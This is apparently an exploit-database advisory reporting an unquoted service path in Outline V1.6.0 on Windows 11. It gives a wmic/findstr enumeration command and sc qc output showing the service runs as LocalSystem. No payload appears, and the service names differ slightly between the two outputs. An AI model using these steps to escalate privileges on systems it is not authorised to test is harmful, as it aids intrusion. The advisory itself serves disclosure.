Outline V1.6.0 - Unquoted Service Path

# Exploit Title: Outline V1.6.0 - Unquoted Service Path
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Discovery Date: 2022-11-10
# Vendor Homepage: https://getoutline.org/
# Software Link: https://getoutline.org/
# Tested Version: V1.6.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Microsoft Windows 11 Enterprise
# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

Outline Updater OutlineServiceSvc C:\Program Files (x86)\Outline\OutlineService.exe
                      Auto

C:\>sc qc OutlineService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: OutlineService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Outline\OutlineService.exe
        
LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : OutlineService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>systeminfo

OS Name:  Microsoft Windows 11 Enterprise
OS Version: 10.0.22000 N/A Build 22000
OS Manufacturer: Microsoft Corporation